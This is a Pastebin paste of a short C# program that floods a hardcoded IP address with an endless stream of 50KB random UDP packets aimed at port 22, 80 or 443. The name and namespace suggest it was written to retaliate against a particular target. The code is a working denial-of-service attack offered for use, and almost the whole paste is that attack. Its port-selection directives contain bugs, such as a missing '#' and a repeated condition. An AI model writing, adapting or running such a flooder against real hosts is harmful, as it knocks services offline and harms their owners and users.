Sombody101

FuckBeamers

Feb 4th, 2025 (edited)
229
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 2.17 KB | Cybersecurity | 0 0
  1. /*
  2.  * Generates a random 50KB string to send. This can be changed, but don't make it larger than 4MB or else it will be
  3.  * split into smaller packets by the network stack making it less efficient.
  4.  */
  5. define USE_RANDOM_PAYLOAD
  6.  
  7. /*
  8.  * Choose which port to use
  9.  * HTTPS:   443
  10.  * HTTP:    80
  11.  * [else]:  22
  12.  */
  13. #define HAMMER_HTTPS
  14. // #define HAMMER_HTTP
  15.  
  16. using System.Diagnostics;
  17. using System.Net;
  18. using System.Net.Sockets;
  19. using System.Text;
  20.  
  21. namespace Consequences;
  22.  
  23. public static class FuckBeamers
  24. {
  25. #if !USE_RANDOM_PAYLOAD
  26.     private static readonly string Payload = "Fuck you";
  27. #endif
  28.  
  29.     private const int port =
  30. #if HAMMER_HTTP
  31.         443;
  32. #elif HAMMER_HTTP
  33.         80;          
  34. #else
  35.         22;
  36. #endif
  37.  
  38. #if USE_RANDOM_PAYLOAD
  39.     private const int randomPayloadSize = (1024 * 50); // 50 KB
  40. #endif
  41.  
  42.     public static async Task Main(string[] args)
  43.     {
  44.         IPAddress ip = new([96, 61, 218, 188]);
  45.         Socket sock = new(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
  46.         IPEndPoint endPoint = new(ip, port);
  47.  
  48. #if !USE_RANDOM_PAYLOAD
  49.         byte[] payload = Encoding.ASCII.GetBytes(Payload);
  50.         int randomPayloadSize = payload.Length;
  51. #endif
  52.  
  53.         Stopwatch passedTimer = Stopwatch.StartNew();
  54.         const int logCount = 500;
  55.         int count = 0;
  56.  
  57.         while (true)
  58.         {
  59. #if USE_RANDOM_PAYLOAD
  60.             byte[] payload = Encoding.ASCII.GetBytes(GeneratePayload(randomPayloadSize));
  61. #endif
  62.  
  63.             await sock.SendToAsync(payload, endPoint);
  64.             count++;
  65.  
  66.             if (count > logCount)
  67.             {
  68.                 count = 0;
  69.                 Console.WriteLine($"Cast took {passedTimer.ElapsedMilliseconds:n00} ms for batch of {logCount} ({randomPayloadSize / 1024f:n00}KB)");
  70.                 passedTimer.Restart();
  71.             }
  72.         }
  73.     }
  74.  
  75. #if USE_RANDOM_PAYLOAD
  76.     private static readonly Random rnd = new();
  77.  
  78.     const string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
  79.     private static string GeneratePayload(int length)
  80.     {
  81.         return new string([.. Enumerable.Repeat(chars, length).Select(s => s[rnd.Next(s.Length)])]);
  82.     }
  83. #endif
  84. }
Add Comment
Please, Sign In to add comment